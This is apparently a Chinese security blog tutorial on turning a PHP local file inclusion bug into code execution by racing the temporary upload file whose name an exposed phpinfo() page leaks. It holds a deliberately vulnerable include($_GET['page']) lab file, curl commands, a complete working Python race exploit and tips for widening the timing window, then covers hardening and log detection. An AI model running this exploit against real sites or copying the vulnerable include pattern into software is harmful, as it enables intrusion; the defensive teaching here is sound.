如果只是能用?page=/etc/passwd拿到几个系统文件,这篇就没有必要写了。我第一次在授权测试里遇到一个很典型的组合:某站点根目录躺着一个开发环境遗留的phpinfo()页面,同时又一个老模块里存在include($_GET['page'])这种要命的写法。单独看,phpinfo() 顶多算信息泄露,LFI 也就是个“读文件”的中危问题,但把它们拼在一起,能拼出一条从 PHP 文件包含漏洞直达命令执行的完整链路,关键就是 PHP 上传临时文件生命周期里那不到一秒的竞速窗口。这篇文章就把这条路从头到尾拆开,把原理、脚本、踩坑和防御一次讲透。
1. 先别急着读 /etc/passwd:文件包含离RCE还有多远
1.1 低危利用:读文件、读配置、读源码
大部分人在目标上验证出文件包含漏洞后,第一反应都是读取/etc/passwd:
/index.php?page=../../../../etc/passwd能读到文件,确实证明了参数里存在路径可控的问题。接下来很多人会继续读/etc/hosts、读数据库配置、读 web 目录下的源码。在这个阶段,漏洞的利用价值主要体现在信息收集上:摸清目标系统版本、中间件配置、代码逻辑、数据库账号密码。对白帽子来说,这些信息足够支撑后续测试;但对一枚想要证明“危害到底有多大”的漏洞来说,光会读文件远远不够。
原因很简单:文件包含本身是一个“代码层”的缺陷,但能不能把它变成代码执行,取决于你能不能控制一个“被包含进去的文件的内容”。如果只能读取,你只是拥有了一双透视眼,并不会获得手。
1.2 高危利用:把包含变成代码执行
把 LFI 变成 RCE,常见思路无非几条:
- 读伪协议:
php://filter读源码,一般需要配合反序列化链或额外的写入点,否则只是换了个阅读姿势。 - 写伪协议:
data://text/plain,<?php phpinfo();?>,听起来很美好,但 PHP 默认allow_url_include=Off,绝大多数生产环境直接写不进去。 - 日志投毒:把一句话写入 web 访问日志、SSH 日志,再通过 LFI 包含日志文件。思路直接,但日志路径要猜、日志格式和过滤规则会吃掉特殊字符,实际频率和失败率都不低。
- 包含
/proc/self/environ:原理是通过 User-Agent 头写入 webshell,但这个技巧只在部分 CGI 模式下稳定,很多现代 PHP-FPM/nginx 组合下根本读不到。 - 包含 session 文件:前提是你能控制 session 内容,而且要知道 session 文件存储路径。
这些路子有一个共同点:要么要求目标存在额外的“可写可控文件”,要么受限于 PHP 配置,要么路径和格式必须猜得精准。换句话说,你是在跟目标环境做“条件匹配”,匹配不上就卡死。
1.3 为什么 phpinfo() 会改变局面
PHP 在处理文件上传时,会先把上传内容写进一个临时文件,等请求结束后再删除。我们完全能控制上传文件的内容——写个一句话进去非常轻松,但临时文件的文件名是 PHP 随机生成的,没法预测。
随机文件名就成了横在 LFI 和 RCE 之间的那堵墙。phpinfo() 在这个链路上扮演的角色,就是把随机文件名直接打印给你看。一旦你在同一个请求里既上传文件、又触发 phpinfo(),临时文件的名字就曝光了,剩下的问题是:怎么在它被删除之前,让 LFI 入口把它包含进来。
这就是“利用 phpinfo() 辅助 PHP 文件包含漏洞实现 RCE”的核心逻辑。
2. phpinfo() 不是摆设:临时文件竞速的核心原理
2.1 一个临时文件的完整生命周期
用生活化的方式理解:你在快递柜前放了一个包裹,内容随你填,但取件码是系统随机生成的 6 位数字,你不知道取件码就打不开柜门;而且快递员会在 30 秒后自动清理这个包裹。
PHP 的上传流程非常类似:
- 客户端发送
multipart/form-data请求,表单里带了一个<input type="file">字段。 - 服务端 PHP 收到后,把文件内容写进临时目录(默认通常是
/tmp),文件名格式是php+ 6 个随机字符,比如/tmp/phpAbC123。 - 脚本执行期间,你可以通过
$_FILES['file']['tmp_name']拿到这个临时文件的完整路径。 - 请求结束,PHP 进入清理阶段,临时文件被删除。
整个生命周期很短,以毫秒计。而且临时文件名在 Windows 和 Linux 下都有一定的随机性,暴力枚举不现实——php加 6 位字符,字符集通常是大写字母、小写字母和数字,理论上组合空间足够大,根本猜不完。
2.2 phpinfo() 为什么要“多嘴”
phpinfo()的本职工作是输出 PHP 的配置信息,包括版本、扩展、环境变量、$_GET、$_POST、$_SERVER,以及所有超全局变量。在默认配置下,它会把$_FILES数组原样打印出来。
如果攻击者向上传请求里放了一个文件字段,同时又让目标执行phpinfo(),返回的 HTML 里就会出现类似这样的内容:
<tr><td>$_FILES["file"]["tmp_name"]</td><td>/tmp/phpAbC123</td></tr>一个本应不可预测的临时文件名,被这个调试页面直接泄露了。很多人看到phpinfo()只会想到“PHP 版本泄露”“绝对路径泄露”,在这个场景里它却是整条 RCE 链的关键一环。
注意:
phpinfo()的价值不只是“泄露”,它还必须和上传请求发生在同一个 PHP 进程生命周期内。否则你还是拿到一个已经被删除的文件名,毫无意义。
2.3 竞速窗口到底赢在哪个瞬间
拿到文件名只是第一步,真正难的是竞速。
PHP 执行完phpinfo()脚本后,会立刻进入清理阶段,把请求中产生的临时文件删掉。我们的 LFI 包含请求必须赶在清理动作之前到达。
这个窗口有多大?取决于两点:
- phpinfo() 页面的输出体量:页面越大,脚本从开始输出到执行结束的时间越长,窗口就越宽。
- 服务端和攻击者之间的网络延迟:延迟越高,窗口越难抓住。
实际操作中,有人会在大表单里追加很多冗余字段,或者用分块传输编码故意“吊着”请求,目的只有一个:让 phpinfo() 脚本执行得更久,给我们留下更多的竞速时间。
2.4 与传统 LFI 利用的对比
| 利用思路 | 需要可控文件 | 需要可预测路径 | 需要的额外条件 | 稳定性 |
|---|---|---|---|---|
| 直接包含 /etc/passwd | 不需要 | 路径固定 | 无 | 高但无代码执行 |
| 日志投毒 | 需要 | 路径可猜 | 日志可写、格式可控 | 中 |
| /proc/self/environ | 需要 | 路径固定 | 部分中间件才有效 | 低 |
| session 文件包含 | 需要 | 路径可猜 | 能控制 session 内容 | 中 |
| phpinfo 临时文件包含 | 需要 | 由 phpinfo 泄露 | phpinfo 页面存在 | 高(条件满足时) |
phpinfo 方案最大的差异化优势:不需要精准猜测路径和文件名,也不需要依赖特定中间件,只要目标存在一个可访问的 phpinfo() 页面,就能把随机临时文件的“不确定性”抹平。
3. 从原理到落地:完整利用过程实录
3.1 搭一个可复现的靶场
我建议任何想搞懂这个技巧的人先在本地搭个靶场,别直接在公网目标上试错。下面是一套最简环境:
目录结构:
/var/www/html/ ├── info.php └── vuln.phpinfo.php内容:
<?php phpinfo(); ?>vuln.php内容(刻意写得很天真):
<?php $page = $_GET['page']; include($page); ?>启动方式图省事就用 PHP 内置服务器:
php -S 127.0.0.1:8080 -t /var/www/html这样环境就绪了。注意这是单进程模式,实际利用时的竞速窗口和成功率会随 PHP-FPM、并发能力、网络环境变化,但用来理解核心链路完全够用。
3.2 第一步:手动观察临时文件泄露
先用 curl 发送一个普通的文件上传请求到info.php:
curl -i \ -F "file=@/tmp/test.txt" \ http://127.0.0.1:8080/info.php返回的 HTML 里搜索tmp_name,能见到类似这样的片段:
<tr><td>$_FILES["file"]["tmp_name"]</td><td>/tmp/phpXXXXXX</td></tr>这里手动操作的最大问题是:当你从响应里看到这个名字时,phpinfo() 脚本很可能已经结束,临时文件多半已经删了。如果再慢慢悠悠去发 LFI 请求,看到的只会是“包含失败”或者 500 错误。所以,必须把“读取名字”和“发起包含请求”两个动作尽量压缩到同一个时间窗口里。
3.3 第二步:写一个能跑的教学版 Python 脚本
下面这段脚本是我针对靶场调过的教学版本,逻辑主线清晰:对info.php发起一个带文件字段的 POST,同时用流式方式读取响应;一旦在响应流里匹配到/tmp/phpXXXXXX,立刻向vuln.php发起包含请求。为了把 phpinfo() 的执行时间拉长,我特意在表单里加了多个文件字段,让$_FILES数组变大,输出自然变长。
#!/usr/bin/env python3 # 用途:教学演示,仅限本地靶场或授权环境 import re import requests import sys TARGET = "http://127.0.0.1:8080" INFO_URL = TARGET + "/info.php" VULN_URL = TARGET + "/vuln.php?page={}" PAYLOAD = b"<?php echo 'PWNED_BY_PHPINFO_LFI'; ?>" BOUNDARY = "----PythonBoundary" + "A1B2C3D4" def build_multipart(): lines = [] # 故意构造多个文件字段,让 phpinfo 的输出更长 for i in range(10): lines.append(f"--{BOUNDARY}\r\n".encode()) lines.append(f'Content-Disposition: form-data; name="file{i}"; filename="p{i}.txt"\r\n'.encode()) lines.append(b"Content-Type: text/plain\r\n\r\n") lines.append(PAYLOAD + b"\r\n") lines.append(f"--{BOUNDARY}--\r\n".encode()) return b"".join(lines) def exploit_once(): body = build_multipart() headers = { "Content-Type": f"multipart/form-data; boundary={BOUNDARY}", } tmp_name = None # stream=True 是关键:不要让 requests 一次性读完整个响应 r = requests.post(INFO_URL, data=body, headers=headers, stream=True, timeout=10) for chunk in r.iter_content(chunk_size=4096): m = re.search(rb"/tmp/php\w{6}", chunk) if m: tmp_name = m.group().decode() break if not tmp_name: return None # 立刻携带临时文件名打 LFI lfi_resp = requests.get(VULN_URL.format(tmp_name), timeout=5) if "PWNED_BY_PHPINFO_LFI" in lfi_resp.text: return tmp_name return None if __name__ == "__main__": for i in range(1, 500): t = exploit_once() if t: print(f"[+] 第 {i} 次尝试成功,临时文件: {t}") sys.exit(0) if i % 20 == 0: print(f"[*] 已重试 {i} 次") print("[-] 500 次尝试未成功,检查环境或提高并发")这里有几个值得解释的设计点:
stream=True代表响应是流式读取的,我们不必等 phpinfo() 全部输出完就能开始扫描文件名,这对压缩竞速窗口至关重要。- 多个文件字段不是必须的,但能让 phpinfo() 输出的
$_FILES区域更长,等于人为拉大了窗口。 - 脚本最终以 500 次重试为上限,因为竞速漏洞本质上是个概率问题。真实环境里,超时、网络抖动、phpinfo 输出大小都影响成功率,多试几次完全正常。
3.4 第三步:验证效果
运行脚本后,一次典型输出:
[*] 已重试 20 次 [*] 已重试 40 次 [+] 第 47 次尝试成功,临时文件: /tmp/phpQw3Rus去看 vuln.php 返回内容,页面里会出现PWNED_BY_PHPINFO_LFI。这就说明:临时文件中写入的 PHP 代码被include执行了,文件包含漏洞已经升级为代码执行。
到了这一步,想继续深入的话,可以把 payload 换成真正的 webshell,比如写入指定文件或直接执行命令。但注意,这块内容只应该在授权测试或者自己的靶场里操作,别对着没授权的目标跑。
4. 实战复盘:常见问题与可靠度提升
4.1 失败原因速查表
我整理过一份自己在实际调试中反复用到的排查表,很适合当速查:
| 现象 | 可能原因 | 处理方式 |
|---|---|---|
phpinfo 页面里始终搜不到tmp_name | 请求没真正发成 multipart 格式 | 检查 Content-Type 和 boundary 是否一致 |
| 包含请求一直 404/500 | 临时文件已经被删除,或者路径层级不对 | 缩短两次请求间隔,增加重试次数 |
搜到/tmp/php但后面跟着的不是临时文件 | 正则误匹配 | 用更严正的正则:/tmp/php[a-zA-Z0-9]{6} |
| 上传文件内容没被解析执行 | payload 里的<?php被过滤或编码 | 直接使用<?php echo md5('xx'); ?>指纹验证 |
| 总是超时 | 临时文件生命周期太短,或网络延迟大 | 尽量在同一主机上跑脚本,增加文件字段数量 |
| 本地能成、远程不成 | 远程可能有 open_basedir、disable_functions、WAF | 先做信息收集,确认配置文件再调整 |
4.2 提高成功率的工程化手段
教学版脚本能跑通,但真实渗透环境里动不动就是几十毫秒的竞速窗口,只靠单线程循环远远不够。实操中用这几招能显著提高命中率:
- 高并发循环。开 20 到 50 个线程同时跑“上传并读取 tmp_name”的过程,谁匹配到了名字,立刻交给另一个线程去打包含请求。窗口虽然小,但架不住量大。
- 用分块传输编码吊住上传请求。通过 socket 手动发送 HTTP 请求,把上传内容拆成多个 chunk,最后一个终止 chunk 迟迟不发,让 PHP 认为请求还没结束。这样临时文件被删除的时间就会推迟,窗口会展宽。
- 优先找目标内部的 phpinfo() URL。很多站点会有多个测试入口,比如
info.php、phpinfo.php、test.php,或者带debug=1参数时会输出 phpinfo。先摸底,把可能的目标都列出来。 - 注意上传大小限制。
upload_max_filesize和post_max_size会直接影响你能塞进多少冗余数据。冗余数据不够,窗口就短;但塞太多,请求直接被拒绝,又得不偿失。
4.3 一些容易被忽略的细节
第一,session.upload_progress.enabled是 PHP 的一个“侧门”。即使目标没有传统文件上传功能,只要 PHP 处理 multipart 请求,攻击者照样可以通过PHP_SESSION_UPLOAD_PROGRESS字段生成临时文件。这意味着“目标没有上传功能”不等于“临时文件方案失效”。
第二,临时文件名虽然随机,但它的生成顺序和进程调度有关。在高并发场景下,多个请求同时到达,文件名可能交错出现。拿正则去匹配$_FILES时,最好把整个tmp_name字段连带抓出来,不要只匹配文件名本身,以免抓到别人的文件而导致 payload 不对。
第三,phpinfo()输出里包含大量内容,快速扫描时 CPU 占用和网络带宽都可能成为瓶颈。在脚本里用iter_content分块读是好的,但要注意数据积累不要太多,否则内存会涨。
5. 写代码的人要怎么堵住这条路
5.1 PHP 侧的加固选项
先看配置层面,几项关键建议:
- 移除所有调试入口,特别是
phpinfo()。凡是不该出现在生产环境的东西,就不要出现。很多团队把 phpinfo 当“健康检查”用,其实有无数种更安全的替代方式。 - 配置
open_basedir,限制 PHP 能访问的目录范围。即使攻击者拿到了临时文件名,一旦包含动作超出设定目录,也会被直接拒绝。 - 设置
upload_tmp_dir指向 Web 目录之外,并给目录设置严格权限,尽量降低临时文件被跨目录读取的概率。 - 关闭
allow_url_include,避免data、http等协议被直接用作包含来源。 - 对
disable_functions做适度限制,比如禁掉exec、system、passthru这类危险函数。文件包含即使被利用,代码执行的杀伤力也会打折扣。
5.2 应用层写法才是最根本的修复
临时文件竞速再花哨,根源还在那个include($_GET['page'])。
正确做法是:
$allowedPages = [ 'home' => '/var/www/pages/home.php', 'about' => '/var/www/pages/about.php', 'contact' => '/var/www/pages/contact.php', ]; $key = $_GET['page'] ?? 'home'; if (isset($allowedPages[$key])) { include($allowedPages[$key]); } else { include($allowedPages['home']); }如果业务上确实需要动态包含路径,至少要做严格的可控前缀校验:
$base = '/var/www/pages/'; $path = realpath($base . $_GET['page']); if ($path && strpos($path, $base) === 0 && is_file($path)) { include $path; }优先推荐直接使用成熟框架的路由和模板机制,而不是自己拼路径。框架层面的统一过滤和沙箱,比每个开发者各自为战要可靠得多。
5.3 中间件层面加一层保险
就算应用层一时半会改不完,Nginx 或者 Apache 层面也可以先想办法拦截:
- 对
?page=等疑似包含参数做关键字过滤,尤其拦截/tmp/、/proc/、php://等特征。 - 对
info.php、phpinfo.php这类路径做访问限制,只允许内网或特定调试账号访问。 - 开启 WAF 规则,对 multipart 上传请求和 LFI 特征同时盯防,双管齐下。
当然,所有这些只是“止血”。真正的根治还是要回到代码层面,把用户输入从路径里彻底剥离出去。
5.4 检测和排查思路
如果你怀疑线上环境已经被这个链路扫过,重点看两块日志:
- Web 访问日志里,是否存在大量对
phpinfo类型路径的 POST 请求,且 Content-Type 是multipart/form-data。 - LFI 入口日志里,
page参数是否频繁出现/tmp/php开头的路径。
两个特征同时出现,基本可以确定有人在尝试临时文件竞速。
最后再分享一点我自己的经验
这类竞速型漏洞,真正难的不是“看懂原理”,而是“把时序调稳”。我在本地靶场跑教学版脚本时,经常前 20 次全失败,然后突然在第 30 次成功,这种情况太常见了。所以,别一失败就怀疑环境搭错了,先确认两件事:第一,phpinfo 页面确实包含$_FILES输出;第二,LFI 入口确实能把page参数拼进include。两个前提都成立,剩下的就是拼耐心和并发。
如果要在真实测试里用,我建议带多套方案备着。日志投毒、session 包含、phpinfo 竞速都不是银弹,组合使用、交叉验证才是正解。还有一个非常实用的桌面习惯:不管用哪个方案,先把执行结果用md5('marker')这种固定指纹做验证,不要直接上 webshell,否则排查问题时你会分不清是路径错了还是代码没执行。工具可以自己写,思路一定要先在自己的靶场里滚一遍。